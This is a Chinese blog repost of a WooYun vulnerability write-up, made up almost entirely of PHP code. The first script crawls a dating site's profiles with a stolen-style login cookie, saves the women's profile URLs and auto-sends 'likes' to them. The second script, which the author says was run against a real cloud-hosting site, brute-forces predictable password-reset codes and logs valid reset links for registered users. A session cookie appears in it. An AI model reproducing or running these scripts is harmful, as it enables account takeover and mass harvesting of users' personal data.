某个php爬虫程序分析--来自wooyun
乌云漏洞编号:
WooYun-2014-68061
作者:hkAssassin
爬虫程序源码:
<?php header("content-type:text/html;charset=utf-8"); id(); //爬虫开始 function id(){ for($i=1;$i<1000;$i++){ send($i); if($i==410){ exit; } } } function send($id){ $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30);
/*fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回FALSE。*/
if(!$fp){ echo "$errstr ($errno)<br />\n"; //返回错误信息 }else{ //$header = "GET /person?userId=108 HTTP/1.1\r\n"; $header = "GET /person?userId=".$id." HTTP/1.1\r\n"; $header.="Accept: text/html, application/xhtml+xml, */*\r\n"; $header.="Accept-Language: zh-CN \r\n"; $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko \r\n"; $header .= "Host:xq.ibaihe.com \r\n"; $header .= "DNT: 1 \r\n"; $header .= "Cookie: Hm_lpvt_887bcaca634b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=******(这里为你自己的登陆cookie) \r\n"; $header .= "Connection: Close\r\n\r\n"; fwrite($fp,$header);
/*fwrite() 返回写入的字符数,出现错误时则返回 FALSE 。*/ $status = stream_get_meta_data($fp);
/*stream_get_meta_data — 从封装协议文件指针中取得报头/元数据
array stream_get_meta_data ( int $fp )
*/
if(!$status['timed_out']) {
/*timed_out (bool) - 如果在上次调用 fread() 或者 fgets() 中等待数据时流超时了则为 TRUE。*/ while (!feof($fp)) {
/*feof — 测试文件指针是否到了文件结束的位置
bool feof ( resource $handle )测试文件指针是否到了文件结束的位。handle
文件指针必须是有效的,必须指向由 fopen() 或 fsockopen() 成功打开的文件(并还未由 fclose() 关闭)
如果文件指针到了 EOF 或者出错时则返回 TRUE,否则返回一个错误(包括 socket 超时),其它情况则返回 FALSE。。*/
if(($header = @fgets($fp)) && ($header == "\r\n" || $header == "\n")) {
/*fgets — 从文件指针中读取一行从指针 handle 指向的文件中读取了 length - 1 字节后返回字符串。 如果文件指针中没有更多的数据了则返回 FALSE。
错误发生时返回 FALSE。*/
break; } } $stop = false; while(!feof($fp) && !$stop) { $data = fread($fp,8192);
/*fread — 读取文件(可安全用于二进制文件)fread() 从文件指针 handle 读取最多 length 个字节。 该函数在遇上以下几种情况时停止读取文件:*/
$return .= $data; } } $str1='女士'; $str2='她'; $po1=stripos($return,$str1); $po2=stripos($return,$str2);
/*stripos — 查找字符串首次出现的位置(不区分大小写)int stripos ( string $haystack , string $needle [, int $offset = 0 ] )返回 needle 存在于 haystack 字符串开始的位置(独立于偏移量)。同时注意字符串位置起始于 0,而不是 1。
如果未发现 needle 将返回 FALSE。*/
if($po1!=false|| $po2!=false){ $url="http://xq.ibaihe.com/person?userId=".$id."\r\n";
$fopen=fopen("bh.txt","a");
/*fopen — 打开文件或者 URL写入方式打开,'a'将文件指针指向文件末尾。如果文件不存在则尝试创建之。*/
fwrite($fopen,$url);
sendLike($id);
} } fclose($fp); } //send end function sendLike($id){ $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30); if(!$fp){ echo "$errstr ($errno)<br />\n"; }else{ //$header = "GET /person?userId=108 HTTP/1.1\r\n"; $header = "POST /enjoy/ HTTP/1.1\r\n"; $header.="Accept: application/json, text/javascript, */*; q=0.01 \r\n"; $header.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8 \r\n"; $header.="X-Requested-With: XMLHttpRequest \r\n"; $header.="Referer: http://xq.ibaihe.com/person?userId=".$id." \r\n"; $header.="Accept-Language: zh-CN \r\n"; $header.="Accept-Encoding: gzip, deflate \r\n"; $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko \r\n"; $header .= "Host:xq.ibaihe.com \r\n"; $header .="Content-Length: 19 \r\n"; $header .= "DNT: 1 \r\n"; $hrader .="Proxy-Connection: Keep-Alive \r\n"; $header.="Pragma: no-cache \r\n"; $header .= "Cookie: Hm_lpvt_887bcaca63*******4b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=*********(这里写你自己的登陆cookie)\r\n\r\n"; $header .="type=like&oppId=".$id; $header .= "Connection: Close\r\n\r\n"; fwrite($fp,$header); while(!feof($fp)){ $res_str.=fgets($fp,512); } fclose($fp); var_dump($res_str);
/*var_dump — 打印变量的相关信息*/
} } //sendLike end
现学现用:
参照以上程序,我针对AAA云服务器网进行了一个爬虫,爬取了一部分注册用户的信息
<?php
header("content-type:text/html;charset=utf-8"); code(); function code()
{
for($i=100000;$i<103000;$i++)
{
send($i);
if($i==102000)
{
exit;
}
}
} function send($id)
{
$fp = fsockopen("www.aaayun.com",80,$errno,$errstr,30);
if(!$fp)
{
echo "$errstr ($errno)<br/>\n";
}
else
{
$header = "GET /members/user_reset.php?code=jggsrlrmlyxhnjuyympt_".$id." HTTP/1.1\r\n";
$header .= "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$header .= "Accept-Language:zh-CN \r\n";
$header .= "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36 LBBROWSER\r\n";
$header .= "HOST:www.aaayun.com\r\n";
$header .= "Cookie:AJSTAT_ok_times=; __login_user_ssid=nmb1fer1dqs8jl6vpid7ogsjd6; visitReferDomain=www.baidu.com; PHPSESSID=nmb1fer1dqs8jl6vpid7ogsjd6; AJSTAT_ok_pages=9; AJSTAT_ok_times=NaN\r\n";
$header.="Connection: Close\r\n"; fwrite($fp,$header);
$status = stream_get_meta_data($fp); if(!$status['time_out'])
{
while(!feof($fp))
{
if(($header = @fgets($fp)) && ($header == "\r\n") || $header == "\n")
break;
}
}
$stop = false; while(!feof($fp) && !$stop)
{
$data = fread($fp,7388);
$return .= $data;
}
}
$str1 = '请输入新的登录密码';
$po1 = stripos($return,$str1); if($po1 != false)
{
$url = "http://www.aaayun.com/members/user_reset.php?code=jggsrlrmlyxhnjuyympt_".$id."\r\n";
$fopen = fopen("bh.txt","a");
fwrite($fopen,$url);
}
fclose($fp);
}
?>
某个php爬虫程序分析--来自wooyun的更多相关文章
- python爬虫程序
http://blog.csdn.net/pleasecallmewhy/article/details/8922826 此人的博客关于python爬虫程序分析得很好!
- 一个简单的python爬虫程序
python|网络爬虫 概述 这是一个简单的python爬虫程序,仅用作技术学习与交流,主要是通过一个简单的实际案例来对网络爬虫有个基础的认识. 什么是网络爬虫 简单的讲,网络爬虫就是模拟人访问web ...
- 我的第一个爬虫程序:利用Python抓取网页上的信息
题外话 我第一次听说Python是在大二的时候,那个时候C语言都没有学好,于是就没有心思学其他的编程语言.现在,我的毕业设计要用到爬虫技术,在网上搜索了一下,Python语言在爬虫技术这方面获得一致好 ...
- python爬虫之分析Ajax请求抓取抓取今日头条街拍美图(七)
python爬虫之分析Ajax请求抓取抓取今日头条街拍美图 一.分析网站 1.进入浏览器,搜索今日头条,在搜索栏搜索街拍,然后选择图集这一栏. 2.按F12打开开发者工具,刷新网页,这时网页回弹到综合 ...
- python网络爬虫 - 如何伪装逃过反爬虫程序
有的时候,我们本来写得好好的爬虫代码,之前还运行得Ok, 一下子突然报错了. 报错信息如下: Http 800 Internal internet error 这是因为你的对象网站设置了反爬虫程序,如 ...
- Scrapy:创建爬虫程序的方式
Windows 10家庭中文版,Python 3.6.4,Scrapy 1.5.0, 在Scrapy中,建立爬虫程序或项目的方式有两种(在孤读过Scrapy的大部分文档后): 1.继承官方Spider ...
- Android网络爬虫程序(基于Jsoup)
摘要:基于 Jsoup 实现一个 Android 的网络爬虫程序,抓取网页的内容并显示出来.写这个程序的主要目的是抓取海投网的宣讲会信息(公司.时间.地点)并在移动端显示,这样就可以随时随地的浏览在学 ...
- 一个简单的C#爬虫程序
这篇这篇文章主要是展示了一个C#语言如何抓取网站中的图片.实现原理就是基于http请求.C#给我们提供了HttpWebRequest和WebClient两个对象,方便发送请求获取数据,下面看如何实 1 ...
- 简单的爬虫程序以及使用PYQT进行界面设计(包含源码解析)
由于这个是毕业设计的内容,而且还是跨专业的.爬虫程序肯定是很简单的,就是调用Yahoo的API进行爬取图片.这篇博客主要讲的是基础的界面设计. 放上源码,然后分部解析一下重要的地方.注:flickra ...
随机推荐
- ChemDraw Pro绘制无环链结构的两种方法
ChemDraw Pro 14是一款专门针对化学图形绘制而开发制作的编辑软件,是目前工科类常用的绘制化学结构工具,用于快速绘制常用的环结构组成.以下教程讲解ChemDraw Pro绘制无环链结构的两种 ...
- C语言函数的概念
在<我们对函数进行了简单的解释,函数(Function)是一段可以重复使用的代码,这是从整体上对函数的认识. C语言本身带了很多库函数,并分门别类地放在了不同的头文件中,使用时只要引入对应的头文 ...
- C语言字符数组和字符串
用来存放字符的数组称为字符数组,例如: char a[10]; //一维字符数组 char b[5][10]; //二维字符数组 char c[20]={'c', ' ', 'p', 'r', 'o' ...
- 关于Win7 x64下过TP保护(应用层)(转)
非常感谢大家那么支持我上一篇教程.Win10 快出了,所以我打算尽快把应用层的部分说完. 调试对象:DXF调试工具:CE.OD.PCHunter.Windbg调试先言:TP的应用层保护做得比较多,包括 ...
- 【BZOJ2699】更新 动态规划
[BZOJ2699]更新 Description 对于一个数列A[1..N],一种寻找最大值的方法是:依次枚举A[2]到A[N],如果A[i]比当前的A[1]值要大,那么就令A[1]=A ...
- 【BZOJ2253】[2010 Beijing wc]纸箱堆叠 cdq分治
[BZOJ2253][2010 Beijing wc]纸箱堆叠 Description P 工厂是一个生产纸箱的工厂.纸箱生产线在人工输入三个参数 n p a , , 之后,即可自动化生产三边边长为 ...
- [SharePoint 2010] SharePoint 2010上多人同時編輯Office 2010文件
Office 2010這個版本,提供了一個令人興奮的新功能,那就是它可以讓多人同時編輯一份Office 2010的文件. 這是一個很大的突破. 以往在與SharePoint搭配下的分享環境,檔案只能被 ...
- 将工程导入到SVN仓库
1.在桌面右键点开Tortoise客户端 2.选择仓库 3.在仓库的trunk目录下为新工程创建文件夹
- 单反手动对焦M档,AV,TV,P,A,A-DEP
今天科普一下单反相机的自动对焦设置,以佳能EOS600为例,在镜头的后方会看到一个af,mf的开关.af为auto focus的缩写,自动对焦.mf为手动对焦 自动曝光模式的种类: AV:光圈优先自动 ...
- java面向对象基础回顾
(49) (0) 面向对象 啥是面向对象 什么是多态多态的机制 接口和抽象类区别 个人理解 代码实现 面向对象 学习java大家接触到的最多的话语无非就是面向对象,可能大家没有仔细研究过这个问题,但 ...